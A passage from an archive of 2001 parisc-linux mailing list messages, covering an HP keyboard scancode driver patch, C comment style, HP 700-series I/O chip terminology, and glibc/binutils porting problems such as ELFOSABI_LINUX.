-	} else {
-		bi = 0;
-		keysym = keycode_translate[keyval];
 	}
+	
 
-	if (keysym != K_NONE)
-		ps2kbd_key(keysym, status & CODE_BREAK);
-	else
-		printk("%s: K_NONE for %d\n", __FUNCTION__, keyval);
-	status = 0;
+	/* translates HP scancodes to AT scancodes */
+	if (!scancode) scancode = brk | keycode_translate[keyval];
+
+
+	if (!scancode) printk("\nunexpected key code %02x ",keyval);
+
+	/* now behaves like an AT keyboard */
+	handle_scancode(scancode,!(scancode&0x80));
+
+	if (esc0) esc0--;
+	if (esc1) esc1--;
+/*	printk("0x%02x ",scancode);
+ *	if (!esc0 && !esc1 && brk) printk("\n");
+ */
+	/* release key bit must be unset for the next key. */
+	brk=0;
 }

--------------6831E9B357B22AD2F35EE512--





From - Thu Nov 08 21:17:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Keyboard driver patch proposal
Date: Mon, 30 Apr 2001 00:45:24 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20010429224538.4AEEE482A@dsl2.external.hp.com>
References: <200104290624.AAA21764@puffin.external.hp.com> <3AEC9252.60CF83B7@esiee.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620088 18735 80.91.229.3 (22 Nov 2014 01:34:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Xavier Debacker <xavier.debacker@esiee.net>,
	Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 29 16:45:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 4AEEE482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 29 Apr 2001 16:45:38 -0600 (MDT)
Original-Received: (qmail 28785 invoked by uid 0); 29 Apr 2001 22:45:36 -0000
Original-Received: from pd904030d.dip.t-dialin.net (HELO there) (217.4.3.13)
  by mail.gmx.net (mail05) with SMTP; 29 Apr 2001 22:45:36 -0000
X-Mailer: KMail [version 1.2.2]
In-Reply-To: <3AEC9252.60CF83B7@esiee.net>
Xref: news.gmane.org gmane.linux.ports.parisc:10952

On Monday 30 April 2001 00:14, Xavier Debacker wrote:
> Grant Grundler a crit :
> > Xavier,
> > It seems Helge Deller has reviewed and committed most of the ESIEE team
> > work in the past. Any word on if Helge will be able to review/commit
> > this patch?
>
> I haven't read from Helge for a long time.  He seems quite busy.

Hi Xavier, Grant and list,

Yes, it's sadly true that I'm very busy atm :-(
But regarding the patch: I will take a deeper look at it in the next few days 
and commit it.

Greetings,
Helge




From - Thu Nov 08 21:17:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Keyboard driver patch proposal
Date: Mon, 30 Apr 2001 10:25:27 +0800
Lines: 17
Approved: news@gmane.org
Message-ID: <20010430102520.D15328@neep.com.au>
References: <3AEA4E6E.A990140B@esiee.net> <200104290624.AAA21764@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620088 18737 80.91.229.3 (22 Nov 2014 01:34:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 29 20:25:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-01.iinet.net.au [203.59.24.16])
	by dsl2.external.hp.com (Postfix) with SMTP id 3A2D8482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 29 Apr 2001 20:25:49 -0600 (MDT)
Original-Received: (qmail 32406 invoked by uid 666); 30 Apr 2001 02:25:38 -0000
Original-Received: from unknown (HELO guinness.neep.com.au) (203.59.103.156)
  by mail.iinet.net.au with SMTP; 30 Apr 2001 02:25:38 -0000
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id KAA11592
	for parisc-linux@lists.parisc-linux.org; Mon, 30 Apr 2001 10:25:31 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200104290624.AAA21764@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Sun, Apr 29, 2001 at 12:24:49AM -0600
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:10953

Grant Grundler said:
> BTW, I'm told the '//' comment style is not ok;  "/* ... */" is expected.
> It's not mentioned in Documentation/CodingStyle so I can't explain it.

Not all C compilers like C++ comments.  =(  It should be in the
CodingStyle document.

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:17:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Keyboard driver patch proposal
Date: Mon, 30 Apr 2001 03:29:43 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20010430032943.A21150@parcelfarce.linux.theplanet.co.uk>
References: <3AEA4E6E.A990140B@esiee.net> <200104290624.AAA21764@puffin.external.hp.com> <20010430102520.D15328@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620088 18739 80.91.229.3 (22 Nov 2014 01:34:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 29 20:30:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D7AF7482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 29 Apr 2001 20:30:12 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14u3RX-00010n-00
	for parisc-linux@lists.parisc-linux.org; Mon, 30 Apr 2001 03:29:43 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010430102520.D15328@neep.com.au>; from andrew@neep.com.au on Mon, Apr 30, 2001 at 10:25:27AM +0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10954

On Mon, Apr 30, 2001 at 10:25:27AM +0800, Andrew Shugg wrote:
> Not all C compilers like C++ comments.  =(  It should be in the
> CodingStyle document.

gcc is the only compiler which can compile the linux kernel anyway ;-)

seriously, i think they're disapproved of because they're ugly &
unnecessary.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "van de Werken, Matthew (DEM, PH)" <M.Vandewerken@cat.csiro.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Terminology
Date: Mon, 30 Apr 2001 16:13:56 +1000
Lines: 30
Approved: news@gmane.org
Message-ID: <A8566E157F5FD411BCFB00D0B7816D51C7295B@ntexchange.cat.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620089 18741 80.91.229.3 (22 Nov 2014 01:34:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:49 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 30 00:14:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bastion.qld.csiro.au (bastion.qld.csiro.au [140.253.122.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 07131482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Apr 2001 00:14:06 -0600 (MDT)
Original-Received: from bastion.qld.csiro.au (localhost [127.0.0.1])
	by bastion.qld.csiro.au (8.9.3/8.9.3) with ESMTP id QAA18158
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Apr 2001 16:14:03 +1000 (EST)
Original-Received: from ntexchange.cat.csiro.au (ntexchange.cat.csiro.au [140.253.12.1])
	by bastion.qld.csiro.au (8.9.3/8.9.3) with ESMTP id QAA18154
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Apr 2001 16:14:02 +1000 (EST)
Original-Received: by ntexchange.cat.csiro.au with Internet Mail Service (5.5.2650.21)
	id <2V9BRV1N>; Mon, 30 Apr 2001 16:13:57 +1000
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:10955

Hi folks:

I'm hoping someone can clear this up for me - it's not documented clearly
anywhere that I can find.

What's a Zalon? Is it an interface chip between the FW SCSI on some 700
series machines, or is it something else?

What's an Outfield? I know this is on a 735, but some places I've seen say
the 735 is a "hardball", while others list it as an "outfield". My
understanding was that Outfield is equivalent to Zalon, only different. 

What's a LASI? and how does it relate to the above? (Actually, this one is
answered very nicely on the glossary page, but if someone can compare and
contrast to the above I'd be grateful.

Does anyone have any documentation that describes what these things are, and
more importantly how to talk to them? Particularly the "Outfield", since I'd
*really* like to use the FW SCSI on my 735, and it seems this is where I'm
falling over.

Matthew van de Werken
Electronics Engineer
CSIRO Exploration & Mining - Gravity Group
1 Technology Court - Pullenvale - Qld - 4069
ph:  (07) 3327 4685     fax:  (07) 3327 4455
email:  m.vandewerken@cat.csiro.au




From - Thu Nov 08 21:17:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Terminology
Date: Mon, 30 Apr 2001 11:35:19 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <20010430113519.N15532@linuxcare.com>
References: <A8566E157F5FD411BCFB00D0B7816D51C7295B@ntexchange.cat.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620089 18744 80.91.229.3 (22 Nov 2014 01:34:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:49 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "van de Werken, Matthew (DEM, PH)" <M.Vandewerken@cat.csiro.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 30 04:35:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 50AEC482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Apr 2001 04:35:00 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id D81B9B009; Mon, 30 Apr 2001 11:35:19 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <A8566E157F5FD411BCFB00D0B7816D51C7295B@ntexchange.cat.csiro.au>; from M.Vandewerken@cat.csiro.au on Mon, Apr 30, 2001 at 04:13:56PM +1000
Xref: news.gmane.org gmane.linux.ports.parisc:10956

On Mon, Apr 30, 2001 at 04:13:56PM +1000, van de Werken, Matthew (DEM, PH) wrote:
> Hi folks:
> 
> I'm hoping someone can clear this up for me - it's not documented clearly
> anywhere that I can find.
> 
> What's a Zalon? Is it an interface chip between the FW SCSI on some 700
> series machines, or is it something else?

An interface chip between 53c720 and HPs internal GSC bus.  In my case
the Zalon chip is on a GSC card called Bluefish.

> What's an Outfield? I know this is on a 735, but some places I've seen say
> the 735 is a "hardball", while others list it as an "outfield". My
> understanding was that Outfield is equivalent to Zalon, only different. 

http://puffin.external.hp.com/parisc/hp9000_models.html shows hardball
as the project name for 735 machines.

http://216.208.98.4/view.php3?type=machine&name=735%2F99 shows outfield as the
main i/o control for the machine.

> What's a LASI? and how does it relate to the above? (Actually, this one is
> answered very nicely on the glossary page, but if someone can compare and
> contrast to the above I'd be grateful.

I'd say LASI was a newer Outfield.  LASI gives you 53c710 scsi rather
than 53700.  Outfield gives you 82596 LAN, whereas my B180 with LASI has
a Dino (GSCtoPCI bridge) and provides Tulip LAN that way.

Of course, I'm not that well up on HP internals, so hopefully an HP
person will correct anything I got wrong.

Richard





From - Thu Nov 08 21:17:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: amodra@one.net.au
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pt-initfini.c
Date: Mon, 30 Apr 2001 23:57:55 +0930
Lines: 22
Approved: news@gmane.org
Message-ID: <20010430235755.E2487@squeak.one.net.au>
References: <20010428234019.D15328@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620089 18746 80.91.229.3 (22 Nov 2014 01:34:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:49 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 30 08:27:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-ob02.one.net.au (mail-ob02.one.net.au [61.12.0.162])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C46D482A
	for <parisc-linux@parisc-linux.org>; Mon, 30 Apr 2001 08:27:27 -0600 (MDT)
Original-Received: Received: [from squeak.local (async144-ade-isp-6.nas.one.net.au [61.12.243.145])
	by mail-ob02.one.net.au  with SMTP id f3UESiv09623
	for <parisc-linux@parisc-linux.org>; Tue, 1 May 2001 00:28:44 +1000 (EST)]
Original-Received: (qmail 2612 invoked by uid 179); 30 Apr 2001 14:27:55 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <20010428234019.D15328@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Sat, Apr 28, 2001 at 11:40:19PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:10957

On Sat, Apr 28, 2001 at 11:40:19PM +0100, Matthew Wilcox wrote:
> 
> glibc 2.2.3 requires a pt-initfini.c which is arch-specific (for hppa at
> any rate).  dhd & amodra did initfini.c for hppa, and neither of them
> seem to be around right now.  The IA64 pt-initfini.c differs from the
> IA64 initfini.c by only a few lines.  So _for the moment_ in my local
> copy, i've simply copied the initfini.c from the ordinary sysdeps as
> pt-initfini.  Any volunteers to fix this mess properly?

I've checked in a new file to pehc glibc CVS, merge_GLIBC_CVS_20010424
branch.  If anyone wants to try it,

 ** YOU'LL NEED NEW BINUTILS **

from any of the usual CVS repositories, because I got rid of a wart
in initfini.c as well.  Don't say you haven't been warned.

Alan





From - Thu Nov 08 21:17:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Keyboard driver patch proposal
Date: Mon, 30 Apr 2001 18:02:31 +0100 (BST)
Lines: 21
Approved: news@gmane.org
Message-ID: <E14uH4E-0008I2-00@the-village.bc.nu>
References: <20010430102520.D15328@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620090 18751 80.91.229.3 (22 Nov 2014 01:34:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: andrew@neep.com.au (Andrew Shugg)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 30 11:02:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC404482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Apr 2001 11:02:00 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14uH4E-0008I2-00; Mon, 30 Apr 2001 18:02:34 +0100
In-Reply-To: <20010430102520.D15328@neep.com.au> from "Andrew Shugg" at Apr 30, 2001 10:25:27 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:10958

> Grant Grundler said:
> > BTW, I'm told the '//' comment style is not ok;  "/* ... */" is expected.
> > It's not mentioned in Documentation/CodingStyle so I can't explain it.
> 
> Not all C compilers like C++ comments.  =(  It should be in the
> CodingStyle document.

All compilers suitable for 2.4 building support //. It not the preferred kernel
style but now days its accepted. Its also valid ISO C now (which has a nasty
side effect as it can change the result of a program 8))

	x = 2//**/
		-4;


Alan






From - Thu Nov 08 21:17:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "van de Werken, Matthew (DEM, PH)" <M.Vandewerken@cat.csiro.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Getting documentation for Outfield
Date: Tue, 1 May 2001 07:15:51 +1000
Lines: 27
Approved: news@gmane.org
Message-ID: <A8566E157F5FD411BCFB00D0B7816D51C7295E@ntexchange.cat.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620090 18754 80.91.229.3 (22 Nov 2014 01:34:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:50 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 30 15:16:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bastion.qld.csiro.au (bastion.qld.csiro.au [140.253.122.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 65BE9482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Apr 2001 15:16:06 -0600 (MDT)
Original-Received: from bastion.qld.csiro.au (localhost [127.0.0.1])
	by bastion.qld.csiro.au (8.9.3/8.9.3) with ESMTP id HAA25711
	for <parisc-linux@lists.parisc-linux.org>; Tue, 1 May 2001 07:16:02 +1000 (EST)
Original-Received: from ntexchange.cat.csiro.au (ntexchange.cat.csiro.au [140.253.12.1])
	by bastion.qld.csiro.au (8.9.3/8.9.3) with ESMTP id HAA25706
	for <parisc-linux@lists.parisc-linux.org>; Tue, 1 May 2001 07:15:58 +1000 (EST)
Original-Received: by ntexchange.cat.csiro.au with Internet Mail Service (5.5.2650.21)
	id <2V9BRWGW>; Tue, 1 May 2001 07:15:52 +1000
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:10959

Hi folks:

I've now been struggling with getting my HP735/99 going for a little while,
and the main hurdle I still have to overcome is getting the FW SCSI going.
The narrow SCSI works fine, but the FW SCSI has to go through the Outfield
interface chip. Is there any documentation kicking around for this chip,
particularly how to talk to it, that is available for public consumption. 

I believe Richard Hirst is probably the guy to write the driver, but he
doesn't actually have hardware, and I think it's a little unfair of me to
ask him to do it if it doesn't fit with his agenda. I'm happy for him to do
it if he wants to, but if he doesn't then I'd like to get some doco's to
give it a go myself. I'm not a guru by any means, but I can look at other
code (especially the Zalon driver) and learn; I know C and my background is
hardware so it should be possible (steep, maybe, but possible) if I have the
docs.

Cheers,
Matthew van de Werken
Electronics Engineer
CSIRO Exploration & Mining - Gravity Group
1 Technology Court - Pullenvale - Qld - AUSTRALIA - 4069
ph:  +61-7-3327-4685     fax:  +61-7-3327-4455
email:  m.vandewerken@cat.csiro.au (w), mvdw73@one.net.au (h)




From - Thu Nov 08 21:17:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pt-initfini.c
Date: Tue, 1 May 2001 07:05:44 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20010501070544.G18144@parcelfarce.linux.theplanet.co.uk>
References: <20010428234019.D15328@parcelfarce.linux.theplanet.co.uk> <20010430235755.E2487@squeak.one.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620090 18762 80.91.229.3 (22 Nov 2014 01:34:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:50 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@parisc-linux.org
To: amodra@one.net.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  1 00:06:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 20E93482A
	for <parisc-linux@parisc-linux.org>; Tue,  1 May 2001 00:06:00 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14uTI8-0004iv-00; Tue, 01 May 2001 07:05:44 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010430235755.E2487@squeak.one.net.au>; from amodra@one.net.au on Mon, Apr 30, 2001 at 11:57:55PM +0930
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10960

On Mon, Apr 30, 2001 at 11:57:55PM +0930, amodra@one.net.au wrote:
> I've checked in a new file to pehc glibc CVS, merge_GLIBC_CVS_20010424
> branch.  If anyone wants to try it,
> 
>  ** YOU'LL NEED NEW BINUTILS **
> 
> from any of the usual CVS repositories, because I got rid of a wart
> in initfini.c as well.  Don't say you haven't been warned.

I built new binutils, but this new initfini seems to make ld.so crash
earlier, and it takes gdb with it.  Reverting to the older initfini
makes ld.so get as far as it did before, and it doesn't take gdb with it.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@ldl.fc.hp.com (Matthew Wilcox)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ELFOSABI_LINUX
Date: Tue, 1 May 2001 21:34:58 -0600
Lines: 38
Approved: news@gmane.org
Message-ID: <20010501213458.Y6063@zumpano.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620091 18767 80.91.229.3 (22 Nov 2014 01:34:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:51 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  1 21:34:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B7BA482A
	for <parisc-linux@parisc-linux.org>; Tue,  1 May 2001 21:34:59 -0600 (MDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel2.hp.com (Postfix) with ESMTP id BE8C314A1
	for <parisc-linux@parisc-linux.org>; Tue,  1 May 2001 23:34:58 -0400 (EDT)
Original-Received: by ldl.fc.hp.com (Postfix, from userid 22224)
	id 745B85AB1A; Tue,  1 May 2001 21:34:58 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:10961

Here's the current situation as I understand it.

 * Binutils, when configured for an hppa-linux target, outputs binaries
   with the EI_OSABI field set to ELFOSABI_LINUX instead of ELFOSABI_SYSV.

 * The dynamic linker will refuse to link binaries for which the EI_OSABI
   field doesn't match the expected values -- the patch Jes wrote last
   december checks this field is set to either SYSV or LINUX, whereas
   the standard check is just for SYSV.  (note this is hppa-linux only
   and affects no other architecture).

 * The kernel does not currently check the EI_OSABI field.

The original discussion last November seemed to reach a resolution that
using this field to mark which ABI the OS implements was not the right
thing; instead this field marks ELF extensions that the ELF tools must
be aware of before manipulating this file.

Now, I'm not interested in digging up who did what when and why in order to
get us into this state.  But we do have a problem here.  Either we need to:

 * Stay in violation of the interpretation of the spec proposed last
   November.  This implies adding the HPPA patch to glibc so ld.so will
   recognise ELFOSABI_LINUX binaries.

 * Change binutils to produce binaries without ELFOSABI_LINUX set.  This
   implies rebuilding every debian package we've built so far -- over
   1100 source packages.  This means we'd miss our deadline of shipping
   at the end of May.

One subversive developer suggested a third alternative -- that we think up
& implement an extension to the ABI so we have to use ELFOSABI_LINUX :-)

Thoughts?





From - Thu Nov 08 21:17:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Bizarre linking problems with glibc
Date: Wed, 2 May 2001 08:55:17 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20010502085517.J18144@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620091 18770 80.91.229.3 (22 Nov 2014 01:34:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:51 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  2 01:55:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B926482A
	for <parisc-linux@parisc-linux.org>; Wed,  2 May 2001 01:55:21 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14urTh-00078O-00
	for parisc-linux@parisc-linux.org; Wed, 02 May 2001 08:55:17 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10962

If I add this patch to glibc:

diff -u -p -r1.6.2.1 dl-error.c
--- elf/dl-error.c      2001/04/25 18:39:32     1.6.2.1
+++ elf/dl-error.c      2001/05/01 23:10:34
@@ -154,6 +154,8 @@ _dl_catch_error (const char **objname, c
       return 0;
     }
 
+printf("_dl_catcherror: we longjmped\n");
+
   /* We get here only if we longjmp'd out of OPERATE.  */
   tsd_setspecific (old);
   *objname = c.objname;

then i get these errors when building it:

gcc   -nostdlib -nostartfiles -r -o /home/willy/cvs/glibc-build/elf/librtld.os '-Wl,-(' /home/willy/cvs/glibc-build/elf/dl-allobjs.os /home/willy/cvs/glibc-build/libc_pic.a -lgcc '-Wl,-)'
/home/willy/cvs/glibc-build/libc_pic.a(init-first.os): In function `init':
